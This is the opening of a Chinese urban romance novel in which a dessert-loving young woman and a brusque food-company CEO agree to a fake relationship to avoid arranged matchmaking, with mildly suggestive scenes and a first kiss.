吃你吃上瘾[都市艳情]
楔子
黎家的黎老爹,拥有四个让他头痛的女儿--
老大黎香香,长得圆磙磙,个性害羞内向,让黎老头烦恼的地方,就是她爱哭、爱吃、又爱「卢」,专长是将甜食当正餐吃。
老二黎熊熊,别看她一副瘦弱的模样,但却拥有熊的爆发力,脾气火爆得教人不敢恭维,而让黎老头担心的地方,就是那毛毛躁躁的个性,活像安静不了的过动儿。
老三黎童童,虽然拥有一头乌亮的长髮,长相也清清秀秀,但是当她不高兴,开口便是一连串问候你家人的不雅字眼,上至祖先、下至你老师,都有可能遭到她亲切的问候,这也是黎老头最头疼的地方。
老四黎小小在黎老头殷切期盼之下,终于比较像正常人,甜美、可爱,外表几乎没有可挑剔的;最大的缺点就是她嗜钱如命,只要有钱的地方,再怎么辛苦她都会努力钻研。
黎老头坐在沙发上,望着四个女儿小时候的照片,一张老脸满布愁云。
唉!再下去怎么得了呢他的女儿长相不差,怎么一个比一个难搞,要是她们嫁不出去,留在家里变古董怎么办
哀声叹气之馀,黎老头的脑袋里却精明地运转着。
最好的方法就是--把她们嫁了,让未来的老公调教她们!
第一章
黎香香平时无大志,只要每天能吃到好吃的东西,餵饱她一张馋嘴、馋胃,那么她便会觉得今天是完美的一天。
以她大学的学历,居然甘心屈就在台北东区某间连锁咖啡馆里当一名小小的计时工读生,只因为在咖啡馆打工,永远都有吃不完的美味蛋糕。
她有一张圆磙磙的白皙脸颊,娇小身子有些丰腴,身上穿的连身牛仔裙让她看起来像一名大学生,可爱又不做作。
她在咖啡馆如鱼得水,不觉得工读生这工作有什么卑微,在充满咖啡香及蛋糕香的屋子里工作,会让她一天心情愉快。
此时,玻璃门上的铃声发出声响,黎香香从柜檯抬起小脸。
「欢迎光临!」她甜美的声音就如同蜜糖般,甜腻得几乎让人融化。
进来的是一名高大的男人,身着手工西装,且蓄着平头,长相虽然不差,但是深刻五官没有任何表情时,还真像一只蓄势待发的公狮。
黎香香的眼光落在男人身上,发现他的长相有些凶神恶煞,板起脸孔的模样更是吓人。
她眼睛眨也没眨地,就这样看着男子来到柜檯前。
「请……请问先生要点些什么」黎香香声音微颤,摆明怕极眼前这名活像黑道大哥的男人。
男人挑起剑眉,望着黎香香像包子的白嫩脸颊,以及那害怕的态度,略为不悦地开口。「一山杯黑咖啡。」他的眼光有如利鹰,几乎要穿透她的内心。
「好、好的。」黎香香突然害怕起来,但还是很尽职地转身准备客人点的咖啡。
不到三分钟,黎香香捧着黑咖啡来到男人面前,咧开专业的笑颜。「一共是九十元。」
男人付完钱,准备接过黎香香手中的咖啡,她却因为害怕他的气势,又因为碰触到他温热的天掌,一不小心杯子就这样打翻了。
咖啡撒出杯子,烫了男人的手不说,她的小手也因为热气而缩回,让杯子就这样飞了出去。
咖啡杯落在男人的西装上,打湿了他的西装,缓缓顺着身体流下。
「该死!」男人弹跳离开柜檯,发现自己身上的西装毁了。
「啊……」黎香香尖叫的同时,更是慌了手脚。「对不起、对不起。」她怎么会这么笨呢
自责的同时,她眼眶带着泪水,手抓着抹布冲出柜檯,来到男人面前,小手便往他身上胡乱抹去。
从头到脚,仔仔细细又来来回回地擦着,黎香香卑微得像名小奴婢,擦拭着自己闯祸的罪状。。
男人望着她匆忙的动作,以及缓缓蹲下的身体,那只小手由他的胸膛移到腰间,再移到他的长裤部位,一点也不害羞。
妈的,她是藉机吃他的豆腐吗男人不满地将黎香香推开,她丰腴的身子跌坐在地,V领内的春光正好映入他的眼里。
两团丰满的绵乳被一件粉红色的胸罩包裹住,尤其她的皮肤白皙,更像软绵馒头般,教人忍不住血脉偾张。
黎香香的眼眶浮起水雾,跪坐在男人面前,高度正好对准他的裤裆中间,两人的姿势看起来非常嗳昧。
男人倒抽一口气,因为黎香香一点女人的矜持都没有,一张圆脸凑近他的身体,双手覆上他最重要的地方。
她到底想干嘛他见她的小手依然拿着抹布,往他的腿间上下移动着,一种异样的情绪自他的心里升起。
该死!他往后一退,只见她抽抽噎噎地掉着泪水,彷彿是古代的小媳妇。
「你别弄了!」男人观看四方,好在咖啡馆四周没人,他低吼一声,想阻止她的动作。
黎香香扁着小嘴,眼泪就像串落的珍珠。「我不是故意的……」
「起来。」他硬是将她拉起来,可她的身子却因为一时站不稳跌落在他的怀里,一股馨香带着甜味扑鼻而来。
她整个人跌进他的怀里,她的唇正好抵着他的下巴,两人的模样看起来更暖昧了。
「黎香香,你在干嘛」拔尖的女声自他们后头传来,女领班一见到女员工正在与客人调情,气得低声大骂。
「我、我、我……」黎香香结结巴巴,梨花带泪地回望女领班。
「上班不上班,和男朋友调什么情把这里当什么地方了」女领班见到男人长相俊美高大,心里更是气愤。
可恶!她男友都没这么帅,这个工读生的男人竟然如此有魅力!
「不、不是……」黎香香有苦难言,欲开口解释。
「黎香香,你被炒鱿鱼了!」女领班夜叉般地鬼吼,指着玻璃门,一副没得商量的样子。
黎香香推开男人,来到女领班的面前。「领班,你听我解释,我,我……」
「别废话一堆,把围巾脱下就磙!」女领班哼了一声,姿态可跩了。
一旁默不作声的男人见黎香香哭得不成人样,一副天塌下来的样子,最后看不惯女领班的态度,上前拉住黎香香的手臂,将她往店外拖。
「你你你……」
「这种烂店不待,也不会要你的命!」他冷冷丢下这句话后,便拖着她走出咖啡馆。
路上人来人往,所有的路人都看往坐在人行道上的女孩。
她低头哭泣,一双圆亮的黑眸哭得红肿,像极兔子眼。
「你还要哭多久」男人不爽地望了望手腕上的表,发现自己宝贵的时间已经在这女人身上耗去了半小时。
「呜……你这个坏人……」黎香香抬起满是泪痕的小脸。「你害我没了工作了!」
她好可怜哦,人见人爱的她竟然也会有被fire的一天
「工作没了再找就是了,有必要哭得像家里死人了吗」男人耐性全失,出口便是恶毒的话。
「你嘴巴怎么这么坏啊」她吸吸鼻子,瞪着眼前的男人。「你妈妈没教过你说话要厚道一点吗」
他睨了她一眼。「懒得跟你废话,我要走了。」说完,他真的转身想离开。
「等、等等……」她的小手下意识地抓住他的衣袖。「你叫什么名字」
「干嘛」男人挑眉望着眼前矮不隆咚的女人。
「你名字、电话都要留给我。」她嘟起一张粉嫩的唇,未了还可怜地多加几声抽泣。
难不成她认出他是贺氏集团的总裁--贺焰,所以想借此认识他
「这是搭讪吗」他冷笑一声,女人就是这么肤浅,说没几句话就想跟他搭讪。
「才不是。」她恨恨地瞪着他。「你害我丢了工作耶!你知不知道工作多难找呀尤其是这种计时的工读生,而且又是在咖啡馆,他们大部分只愿意请年轻的妹妹,我好不容易才找到一家附设蛋糕店的咖啡馆,你一出现就把我的工作搞丢了……」
呜呜……说着说着,黎香香又哭了起来,甚至还把她的眼泪、鼻涕往他的衣袖抹去。
嗯,髒死了!贺焰嫌弃地看着她。「我不是说工作再找就有了」他因为她的眼泪而显得不耐烦。
「咖啡馆的工作难找呀!」黎香香不厌烦地重申一次。「而且,卖不完的蛋糕可以让我带回家的更少……」
其实最后一句才是重点,她梦想中的工作就是能把卖不完的蛋糕带回家。
贺焰回头望着黎香香,有一种被打败的感觉。「你工作只是为了吃蛋糕」
她用力地点头。
「猪!」现下,他一点也不同情她。「女人就是这么不事生产,只会安逸于现状。」
再笨的人也听得出来他在骂她。黎香香皱起眉尖,「你欠我一个工作啦!」
「我会替你安排一个工作。」为了解决眼前的麻烦,贺焰只得想办法。「同样有员工福利……」
「我不要什么员工福利,我只要蛋糕……」黎香香扁起小嘴。
贺焰翻了翻眼。「你有没有手机」
黎香香点点头,从包包中拿出一只小巧的手机,递到贺焰面前。
他在里头按了几个数字键,「好了,我的号码就在第一个,你明天再打电话给我。」
虽然他不明白,为什么明明就不关他的事,他却得帮她收拾烂摊子
黎香香终于破涕为笑。「嗯,我明天会找你的。」她笑咪咪地说,将手机捧在胸口前。
贺焰双手插在口袋中,望着黎香香破涕为笑的笑容,一时之间竟觉得有些昏眩……
可恶,他一定是吃错药了,才会给了她私人的手机号码。
「我走了。」贺焰别过头,忽略那张粉嫩的脸颊,再待下去,他怕自己的脑袋会变得跟她一样简单。
「拜拜。」黎香香笑瞇着眼,没想到这么快就又找到工作了,嘿嘿,回去不怕被老爹念了。
话说黎老爹虽然不是什么大富大贵的有钱人家,但自从他将老家的田卖了之后,开了一家公司,多多少少也挤入小富的排行榜。
只可惜老伴走得早,再加上四个女儿没人想继承他的公司,他一心希望女儿嫁掉后,会有女婿继承他的公司,要不然就生个小孙子,培养第三代继承人。
他的如意算盘打得很精,可是他的女儿却一个比一个离经叛道,害他的计划一直停摆。
不行!他一定要找个机会,让计划成功!
这天,难得大女儿黎香香提早进门,虽然眼眶红红的,但嘴角竟然挂着笑容。
「香香,你今天怎么这么早回家」他的大女儿说起来也是怪人之一,明明有大学的学历,偏偏就爱往咖啡馆钻,只为了得到咖啡馆每天卖剩的蛋糕。
「我被女领班fire了啦!」黎香香一提起伤心事,脸上的表情有些垮下。
「这样啊!」黎老爹的嘴角却往上扬。「哪你不是失业了正好,你来老爹的公司上班……」
「不要。」黎香香一口回绝,抓起桌上的饼干便往嘴里放。
女儿的第N次拒绝,让黎老爹有些难过。「你知道家里是不准许有人当米虫的,看看你妹妹她们……」
「我知道、我知道。」黎香香鼓起脸颊。
「但老爹不介意你当米虫。」黎老爹嘿嘿一笑。「只要你马上结婚,然后生个孙子给我……」
「老爹,我也想嫁人呀!」黎香香眨眨圆磙的大眼。「我想嫁给甜点师傅,所以我才会努力找咖啡馆的工作嘛!」
女儿生平无大志,黎老爹突然有种老泪纵横的冲动。「香香,嫁厨师很辛苦的……」
「哪会,他会做吃的点心给我吃。」老爹一点都不懂她的心情。
「其实老爹这里有一个很好的人选……」黎老爹从背后拿出一张照片。「这是老爹朋友的儿子,他经营连锁的食品集团,他比厨师更厉害,每天都要制造各式各样的点心、零食……」
「真的吗」黎香香一副很有兴趣的样子,「像电影『巧克力工厂』的钱宁戴普,每天都要做很多、很多的甜点」
「差不多。」老爹见女儿有兴趣,死的也要说成活的。
「哇!老爹……」黎香香捂着胸口,一脸醺然的表情。「如果嫁给他,不就有吃不完的点心和零食吗」
「如果你有兴趣的话,老爹可以帮你安排相亲。」大女儿似乎上钩了!黎老爹在心里窃笑。
黎香香以唇瓣轻咬着食指。「可是,我的志愿是嫁给厨师……」她好烦恼哦,现在要她突然改变志愿,她很难决定耶!
「嫁厨师倒不如嫁给食品大亨,」黎老爹正在帮女儿洗脑。「你想想,若是你老公在全省开了好几百间连锁店,你是不是走到哪里可以吃到哪里而且一间店至少有好几个厨师,那全省就有几百个厨师帮你做菜,好几百种不同的口味,永远都吃不腻,对不对」
一谈到吃的,黎香香的思绪就不如平常灵光,听着老爹详细的解说,她觉得似乎也很有道理,心动不已地咧开一朵笑花。
「香香,如果你不反对,那老爹就去安排相亲,好不好」黎老爹笑咪咪地问。
黎香香侧着头,点点头。「好啊,嫁给食品大亨,好像是个不错的主意。」此时,她的脑袋里已经是一堆点心在飞绕。
黎老爹摸摸下巴,看来大女儿搞定了,厚!他的公司有人继承了……
第二章
「什么,相亲!」办公室里传来一阵怒吼。
「这礼拜日你记得空出时间,我已经安排好了。」电话里的男声正是贺焰的老爸。
没错,就是他那个吃饱没事干,平时白天只会打小白球,晚上则是回家抱老婆的老爸!这下,他居然吃饱撑着地搞出一个莫名其妙的相亲。
相亲笑话,他贺焰平时一堆女人送上门来,会沦落到去相亲吗
「要相亲你自己去相!」贺焰不满地顶嘴。「我平时工作这么忙,你还有时间搞这种把戏」
「婚姻大事岂是儿戏」贺父也学贺焰咬文嚼字。「相亲是对你好,贺家就你一个儿子,我在你这个年纪时,女朋友没有十个也有七、八个,你看看你的生活,把自己搞得像个和尚,你不操心你的未来,我和你妈已经开始担心了。」
「你说是这么说,那怎么不见你来公司帮我」贺焰被撩起怒火,低咆说着。
「你的未来要自己打拼。」贺父凉凉地说,挖挖差点被震聋的耳朵。
「好啦,没事可以退朝了,记得星期六晚上回家亨趟。」
「喂……」当贺焰还想上奏时,另一端的太上皇已经挂掉了。
贺焰狠狠摔上电话,在心里骂着髒话。这时,办公室的木门被人敲了敲。
「进来。」他烦躁地低咆一声。
进来的是一名高挑的女秘书。「总裁,有一名女访客正在外头,是你刚刚交代要守卫放她进来的。」
「让她进来。」贺焰不耐烦地挥挥手。
「是。」秘书回应后,转身便离开办公室。
不久,一颗脑袋先探进办公室里,甜美的脸孔上有着好奇的表情。
「进来!把门关上。」贺焰板着脸孔低声命令。
「哦……」黎香香听话地走进贺焰的办公室,乖乖把门关上。
「你刚在电话里头说什么」贺焰望着第二次见面的黎香香。稍早之前,他接到她打来的电话,说她不需要他介绍工作,因为她有可能会去结婚。
见鬼,为了防止她搞鬼,他把她找来公司约谈,将事情说清楚、讲明白。
黎香香自动自发地坐在沙发上,一双乌亮的晶眸眨呀眨的。「难道你招待客人,连一杯基本的红茶都没有吗我坐了好几站的捷运,口有点渴耶!」
贺焰深吸一口气,按下对讲机。「泡一杯红茶来。」
「最好还有一块蛋糕和几片饼干。」黎香香不怕死地再度开口要求。
「再追加一块蛋糕、几片饼干。」贺焰咬牙说着。
秘书很有效率地端来红茶、蛋糕,以及一大盘的精緻手工饼干,看得黎香香差点流下口水。秘书一退出去,她便迫不及待拿起蛋糕往嘴里送去。
香浓的巧克力香在嘴里化开,她幸福地瞇起一双眼。
「你别浪费我的时间,快把话说清楚。」他的时间宝贵得很,然而自从遇到她之后,他就发现她很容易浪费他时间。
「哦!我说你不用替我介绍工作了。」黎香香吞下蛋糕,笑盈盈地说。
「为什么」贺焰皱眉,她昨天明明哭得一把眼泪、一把鼻涕地缠着他,今天却拒绝他的好意
「因为我有可能要嫁人了。」黎香香睨了贺焰一眼,蛋糕吃完之后,手又往饼干盘伸去。「哇,你的饼干好好吃哦!」
「嫁人」贺焰疑惑地望着黎香香。「哪个男人瞎了眼要娶你这只猪」
「喂!」黎香香抗议,他干嘛做人身攻击
「所以你不需要我介绍工作给你」贺焰挑眉问着。
黎香香点点头。「嗯,我的梦想是嫁给厨师。不过我老爹说,礼拜日要与我相亲的男人,比厨师还伟大一百倍。」
「一百倍」从她嘴里听到这种鬼话,他的心里竟然觉得有些不舒服。
「怎么伟大说来听听。」不知不觉之中,他竟然开始和她闲话家常。
「我相亲的对象,听说是经营食品集团的,全省有好几百家分店,也经营很多家餐厅。」
贺焰沉默地听着,她相亲对象的条件怎么跟他不相上下
「我只要嫁给他,就有吃不完的蛋糕、饼干,以及各国的料理。」黎香香喝了一口红茶,彷彿未来就在眼前,她幸福地陶醉着。
「哼!那男人看到你,恐怕会逃之夭夭!」贺焰冷不防地泼了黎香香一桶冷水。「女人要自立自强,不要整天作花痴的白痴梦。」
黎香香嘟起小嘴生气地看着贺焰。「你这个人很讨厌耶!嫁人有什么不好,而且我的梦想就是嫁给『巧克力工厂』中的男主角,这样我天天有蛋糕、巧克力可以吃。」
」」
「你还是实际一点吧!」他是昏了头不成,干嘛浪费半小时与她童言童语「小姐,你年纪不小了,做点有意义的事好吗」
「我才二十四岁。」黎香香嘟着小嘴。「又不老。」
她是他见过最怪异的女人了!通常每个女人听到他是贺氏集团的总裁,都巴不得与他扯上关系,唯独这个爱吃又爱哭的女人,一副不为所动的样子,还跑来他的公司说她要跟其它男人相亲!
一瞬间,让他男性的自尊有点受创。对她来说,他是个没有魅力的男人吗或是正如他老爸所说,他这个人有问题……
「好了,我要回家了。」黎香香将盘中的饼干吃完,又喝光杯中的红茶,打了一个饱嗝后,便起身准备离开。「谢谢你的招待。」
见她准备离开,贺焰忍不住站起身子,以最快的速度来到她的面前,审视着她的长相。
她不丑,一张脸像苹果般圆润;如果拿她当挡箭牌,他或许可以逃避礼拜日那场相亲。
「我们谈个条件。」他阻止她踏出办公室,将她拦了下来,硬是将她拉回沙发上坐着。
「可是……」
不管她愿不愿意,没谈出一个结果,他是不会让她踏出办公室一步的!
贺焰为了安抚黎香香,要秘书送进十几种口味的蛋糕,全是集团中刚研发出来的新口味。
「福贺屋」是时下最流行且最高级的蛋糕品牌,黎香香一看到这些蛋糕,眼睛都亮了起来。
「我真的可以吃吗」她不可思议地看着他。「这蛋糕很贵耶……」
贺焰点点头,黎香香高兴地挑了一块提拉米苏。
「我有几个问题想问你。」他看着她的吃相,问出自己的疑惑。「你这礼拜要与食品大亨相亲」
「嗯。」黎香香点头,嘴巴却没空回答。
「你喜欢他」
黎香香愣了一下,摇摇头。「我没看过他,但是我喜欢他的职业。」
「你为什么想嫁人」贺焰好奇地问。
她望着他好看的黑眸,这时才发现他有一张俊美的脸孔,就像一块黑森林蛋糕般诱人。
唔,她怎么了怎么会突然把他当成蛋糕呢黎香香的心漏跳-拍,发现脑中有这抹怪异的想法时,急忙地摇头。
「你摇什么头」她怪异的动作让他不满地挑眉。
「嫁了人,可以吃到更好吃的东西。」黎香香嘟着小嘴说:「所以我的梦想是嫁给一名厨师。」
「就为了这个烂梦想」贺焰的声音突然大了起来,发现她的脑袋真的秀逗
「这是伟大的梦想,不是烂,好吗」黎香香不高兴地纠正他。
「那你觉得……」贺焰的头有点疼。「全世界若只剩下男人和吃不完的蛋糕,你会选哪一个」
「蛋糕。」黎香香想也不想就回答。
果然,她是一个以吃为重的怪女人!
「那我们来谈一场交易。」贺焰了解黎香香的逻辑之后,觉得这个女人可以利用一下,而且不怕利用完后会死赖上他。
黎香香侧着头望着贺焰。
「这礼拜日,充当我的女朋友。」
噗!黎香香口中的蛋糕差点喷出来。「才不要。」
「为什么」贺焰不高兴地低吼。
「因为我也要去相亲,如果成功,我会有一辈子都吃不完的点心。」她才不笨呢!帮他又没有好处,又会失去永远吃蛋糕的机会,她才不要呢!
他瞇眸,看来这女人只要提到「吃」,脑筋倒是挺灵光的嘛!
「你现在吃的蛋糕,是我集团所经营的财产之一。换句话说,我在食品业也佔有一席之地,比起你那个相亲对象,我比他成功一百倍。」
不是他在自夸,他不仅在全省都有分店,有关食品的都有插一脚,甚至比她相亲对像还要厉害,事业体系发展到国外,有哪个男人可以跟他相比
「啊」黎香香不可思议地望着贺焰。「真的吗」
「只要你乖乖充当我的假女友,我也可以免费提供一辈子且无限量的蛋糕,而且只要是集团有关的产业,你爱吃多少、爱吃多久都随便你!一方面,你不必为了吃而嫁给阿猫、阿狗,一方面又能享受无限的美食,如何」贺焰像恶魔般诱惑着黎香香。
果然,她犹豫了。「可是……我已经答应我老爹,如果毁约……」
「这样好了,你先假装是我的女朋友,然后我再陪你赶场,假装是你的男朋友,不就皆大欢喜了」他的计划完美无缺,他的人生要自己掌握,而不是由他老爸来安排!
黎香香用着疑惑的眼光看着贺焰。「真的要这样吗」
「如果你想通了,今天晚上再打电话给我。要是你放弃和我合作,就等于放弃这一桌子的蛋糕,还有你没有吃过的新口味。」
他是恶魔,竟然用蛋糕来威胁她!满嘴都是奶油的黎香香哀怨地看着贺焰,「好啦!我会考虑清楚的。」
见到她动摇的表情,贺焰满意地回到自己的位置上。「你一边吃,一边想。」他难得心情好,肯让她留在他的办公室里。
唔……黎香香吞下一口又一口的蛋糕,决定把他的问题留着回家慢慢想。
慢慢想……
她真的可以慢慢想吗那可不!
十分钟前,那个如同黑森林般好吃的男人就已经打电话来问她的意见了,可是她还是支支吾吾地答不出来,只能无奈地坐在床上,抱着抱枕发呆。
发呆了十几分钟,黎香香还是没有头绪,于是她拉开床边的柜子,拿出一枝棒棒糖,拆开包装便往嘴里放。
她又舔又吸,以舌尖舔绕着棒棒糖,甜甜的滋味在舌尖化开,一扫之前的烦躁,也让她冷静下来。
或许贺焰说的对,她嫁给厨师只是为了享受一辈子的甜点,答应老爹相亲也是为了甜点;不过嫁人不一定会幸福,搞不好另一半以后会嫌弃她,跟她离婚,那她梦想中的甜点不就成了泡沫吗
左思右想之后,贺焰的话好像真有几分道理。
他也是食品大亨,名下的产业遍布全国与海外,而她只是充当他的女友,就能一辈子享用不尽美食……这个交易好像不错耶!
黎香香含着棒棒糖,侧着头思考,最后,她决定了--
她抓起电话,拨了几个陌生的号码,对方很快便接了电话。
「考虑好了」贺焰似乎有读心术,一猜便知道是黎香香。
「唔……」黎香香吸着棒棒糖,说话有些口齿不清。「我刚刚想了一会儿,我觉得你说的其实也有道理……」
电话那头的贺焰,此时正优闲地坐在高级公寓的客厅里,跷着二郎腿,等待黎香香娇嫩声调的解释。
说老实话,她在电话里的声音,还真像O二O四女郎,尤其配上她现在的声音……
奇怪,她的嘴巴是不是含着东西贺焰的心思飘离正轨,想像电话那头的黎香香在做什么。「说重点!」
「重点就是……啾……」黎香香含着棒棒糖,嚥下口水,发出暖昧的声音。「我愿意当你女朋友,可是你不能食言,只要牵扯到吃的,你都要无限量提供。」
「没问题。」贺焰皱眉,觉得好像听见亲吻的声音。「不过我现在有一个问题……」
「什么问题」黎香香左手拿着话筒,右手转着棒棒糖。
「你现在在干嘛」怎么这女人说话有些「臭玲呆」,甚至听起来还有些……暖昧
「吃棒棒糖。」黎香香老实回答。「也是你们公司的产品哦!就是长长的,然后外面淋上巧克力,你知不知道我很喜欢巧克力口味的耶!」
然后,又没心机地补上一句。「尤其我都用舌头舔它,只溶于口、不溶手哦!」
如果是其它女人,贺焰-定会觉得那女人是透过电话在勾引他:可现下电话那端是黎香香,一个以吃为重的女人,怎么可能会想出这么绮色的话语
「好吃吗」不知为何,他竟然因她的话而显得有点心猿意马。
「很好吃。」黎香香又吸吮一下。「难道你都不试吃自己公司的产品吗」
贺焰低低笑了几声。「那你用怎样的方式吃它」
「用嘴巴啊!」这男人是脑筋有问题吗难不成要用鼻孔吃啊
「哦」贺焰坏心地兴起一个念头。「我教你一个吃棒棒糖的方法,会变得更好吃。」
「真的吗」黎香香瞠大眼。
「先伸出你的舌尖,在棒棒糖的上面绕圈圈,轻轻地……」贺焰的声音带点邪魅,像一曲好听的大提琴演奏。
黎香香不知不觉照着他的话去做,先伸出她粉嫩的舌尖,在棒棒糖的顶端,以顺时钟的方向绕着圈圈,直到她的身子窜过一抹电流。
「接着张口含住三分之一,再慢慢抽出,再含住、抽出……这个动作重复十次。」
「唔……」黎香香发现自己的动作有些暖昧,甚至还哼出奇怪语调。
听着她低喘的语气,贺焰的声音也变得瘖哑。「感觉如何」
「嗯……唔……」黎香香皱着眉尖。「我觉得嘴巴很酸耶!吃个棒棒糖,干嘛要这么辛苦」她抗议地说着,却莫名觉得有些脸红心跳。
「呵呵!」贺焰在电话那头轻笑一声。「明天到我的公司来。」
他话一说完,不给黎香香任何响应的机会,说了晚安便挂了电话。
她嘟着小嘴瞪着手上的话筒,最后眼光又移向巧克力口味的棒棒糖。
再一次伸出舌尖,脑中想着他的声音,又将刚刚的动作重复一遍……
她发觉自己的身体微微发热,却不懂热潮为何而来。哼!明天到他公司,她一定要好好问个清楚。
为什么照他的方法吃棒棒糖,她会突然觉得身体好热
第三章
隔天下午,黎香香来到贺焰的公司。
公司的守卫并没有阻止她,她很顺利地搭上电梯,直达十三楼的总裁室。
经过秘书通报后,黎香香走进贺焰的办公室。门一合上,她便发现茶几上摆满各式各样的蛋糕、饼干和糖果。
她的眼睛为之一亮,粉嫩的脸庞露出一抹笑容。
「我听你的话来了。」黎香香热切地望着贺焰的黑眸。「桌上的点心……」是给她吃的吗
「吃吧!」贺焰正在忙,一直埋首在公文之中。
黎香香根本忘了问他为何要她来找他,不过,反正有蛋糕,就算没事来找他干瞪眼,她也会心甘情愿的。
她坐在沙发上,自动自发地吃着蛋糕,最后拿起桌上的棒棒糖。
那支棒棒糖的形状与她昨天吃的一样,只不过是浓郁的北海道牛奶口味。
哇,她还没吃过这种口味的棒棒糖耶!黎香香急急忙忙地拆开包装,往嘴里一送,香浓的奶香便在嘴中溢散开来。
「好好吃哦!」她舔着棒棒糖,脑中突然想起昨晚贺焰说的话,脸儿红得像苹果。
不知为什么,黎香香竟然觉得脸红心跳,她偷偷望了望正在工作的贺焰,将棒棒糖拿出口中,一种触电的感觉流窜全身。
「喂……」因为心中的疑惑无人可解,她无力地看着他。
「干嘛」终于,贺焰抬头望着黎香香。
「都是你啦!」黎香香噘起两瓣红唇。「你昨天在电话中教我吃棒棒糖的技巧,结果……」
贺焰看着黎香香红着脸,欲言又止的模样,难得地放下手边的工作,薄唇扬起一抹邪魅的笑容。「结果如何」
黎香香咬咬唇瓣。「就……身体很热。」
「哦!」贺焰盯着黎香香娇羞的模样,忍不住站起身,走到她的身边坐下。「你真的有照我的方法去做吗还是你的方法错误」
「哪有」黎香香嘟嚷着。「不然我模仿一次给你看。」
她伸出自己的小舌,在棒棒糖的顶端来迴绕圈圈,接着又由上往下舔弄着。
这样的画面映入贺焰眼里,视觉上的勾引让他的下腹流过一阵热潮,黑眸盯着她在圆柱物上来来回回舔弄的香舌。
妈的,他是怎么了是太久没和女人亲热吗怎么面对这长相像包子的女人,竟对她有了另一种慾望
最后,黎香香含住棒棒糖,小嘴张成0型,将南傍国住嘴里送去、抽出,反覆做了十几次,还发出引人遐想的滋滋声。
「够了!」贺焰上前抢走黎香香手中的棒棒糖。
「这是你教我的呀!」黎香香的语气有些微喘,红潮布满脸颊,胸脯微微起伏。「你教我的这种吃法,我觉得棒棒糖并没有变得好吃,反而、反而…….」
她以双手摀住脸颊,接下来的话语难以启齿。她面颊如桃,粉唇沾着银亮的口沫,模样还真勾引人。
「反而怎样」贺焰的声音有些瘖哑。
「身体变得很热啦!」黎香香低头说道,躲避着贺焰的眼光。她发现一望进他的黑眸,感觉就无比害羞,双腿也忍不住夹紧,彷彿眼前的他会看透她的全身。
就连她的胸部……也觉得有点胀,她是怎么了而他,为什么要用那样的眼,光看着她
而且……他干嘛坐在她身旁,还瞇起一双黑眸
「你做……做什么」黎香香的声音如蚊子般细小,可心里却忍不住期待贺焰接下来的动作。
呜……他的棒棒糖一定有问题啦!
贺焰挑着眉,最后唇瓣勾起一抹邪恶的笑容。虽然这个时间不太适合,但他却想亲吻她那张该死又诱人的小嘴。
「你吃棒棒糖的动作不对。」
贺焰将手上的棒棒糖移到黎香香嘴边,在她的唇瓣间来回游移,使得她轻吟一声,双眼迷漾地看着他。
为什么他这样的动作,会让她的心头有如被蚂蚁啃啮,痒痒的,就连身体也,微微颤抖着
「把你的舌头伸出来。」贺焰故意将声音压低,像首勾魂曲,诱惑着她。
黎香香像个听话的小婢女,伸出舌尖,照着他一个口令、一个动作,粉嫩的舌尖在棒棒糖上端绕着圈圈,他手上的棒棒糖也轻轻地左右移动,挑逗着她的舌尖,使得她发出一声低吟。
「嗯……」她不知道为什么自己会发出这么暧昧的声音,身体也微微往前倾,双手无助地抓着他的手臂。
「有什么感觉」他望着她娇喘的表情,没想到只是稍微挑逗她,她的表情就变得如此媚人。
「不、不知道……」她抬起迷漾的双眼,身子更加贴近他的胸膛,尤其他的气息喷洒在她的脸上,更教她意乱情迷。
见她红唇微噘,软绵绵的身体倚靠在他的胸前,并且娇喘地舔着棒棒糖顶端,他终于忍不住地将薄唇印上她的唇瓣,伸出舌尖碰触她的粉舌,灵活挑逗着她生涩却好奇的舌尖。
「啊……」她的理智似乎被他的嘴唇吸光,只剩下本能以回应他的吻。
他的舌好甜、好热,令她无法离开。
他瞇眸望着她脸红的模样,不知不觉也覆上她的檀口,深深地吻着她。过了几分钟,才恋恋不捨地离开她的唇。
好难形容的感觉。黎香香抬眸,-脸不知所措的模样。
贺焰则是扬起邪恶的笑容。「我比棒棒糖好吃多了吧」
她的脸儿红红的,就像一颗熟透的西红柿,他脸上的笑容几乎将她的身体融化,她竟然期待他再吻她一次……
啊……她是疯了不成黎香香用力将贺焰推开,彷彿他是毒蛇勐兽。
呜……她一定要离他远一点,免得他又吃了她的嘴。
「你……你怎么可以吻我」她惊恐地望着他。
「你又没说我不可以吻你。」他耸耸肩,回答得有够痞。
「你……」她咬着嘴唇,一副哀怨的模样。「我的初吻被你夺走了啦!」
他一听到这是她的初吻,心情莫名愉悦起来。「觉得吃亏的话,我可以让你吻回去。」
她的脸颊鼓得像气球一样,气唿唿地从沙发椅上跳起来。「我才不要,我要回家了啦!」
「我今天晚上再打电话给你。」他望着她圆磙磙的脸庞,觉得愈看愈顺眼。
「哼!」她皱皱鼻尖,生气地转身就走,根本忘了他找她来的目的。
其实他找她来没什么事,只是想见见她,而且--
原来欺负人是一件快乐的事。
棒棒糖和贺焰,哪个比较好吃呢
脑袋昏沉沉的黎香香,一颗小脑袋瓜几乎完全停摆。
她一整天都怪里怪气的,好在黎老爹今晚与朋友吃饭,三个妹妹也因为有事不能回家吃晚饭,所以没人发现她的异状。
都是贺焰那个臭男人啦!吃过晚餐、洗过澡的黎香香,还是没有办法将今天下午那个画面从脑中抹灭掉。
好讨厌……她不知道为什么自己那么留恋他的吻,她触碰自己的粉唇,想起他温热的薄唇,以及他拿着棒棒糖挑逗她的样子,身体忍不住起了微微的变化。
「呜……」黎香香以双手捂着小脸,为什么一想到那样的画面,她的脸颊会发热、发红,就连身体也有难耐不安的骚动感呢
铃铃……手机突然响了起来。
黎香香哀怨地看了手机一眼,考虑要不要接。
「一定是那个讨厌鬼打来的。」想到有可能是贺焰打的,黎香香就有点不想接,任由铃声一直响着。
第一通,挂掉;第二通,继续响起。最后,她只得心不甘、情不愿地接起电话。
「喂」她没好气地开口。
「为什么刚刚没接我的电话」电话那头果然是贺焰,此时他正半躺在床上,他听得出来她还在不高兴。
「干嘛啦」黎香香鼓起脸颊。
「星期日我们约在君君饭店,你一定要出现,假装是我的女朋友。」贺焰说出目的。
「哦。」黎香香乖顺地回答。「那……没事我要挂了哦」
讨厌!一听到他的声音,她的脸颊又莫名热了起来。
「这么急着挂我电话」贺焰低声一笑。「难道你一点都不想念我我可是你的男朋友唷!」
「才不是。」黎香香哼了哼,「你很讨厌耶!」
「哦我做了什么十恶不赦的事,让你这么讨厌」贺焰轻笑一声,电话里头的黎香香,生气的声音还真可爱。
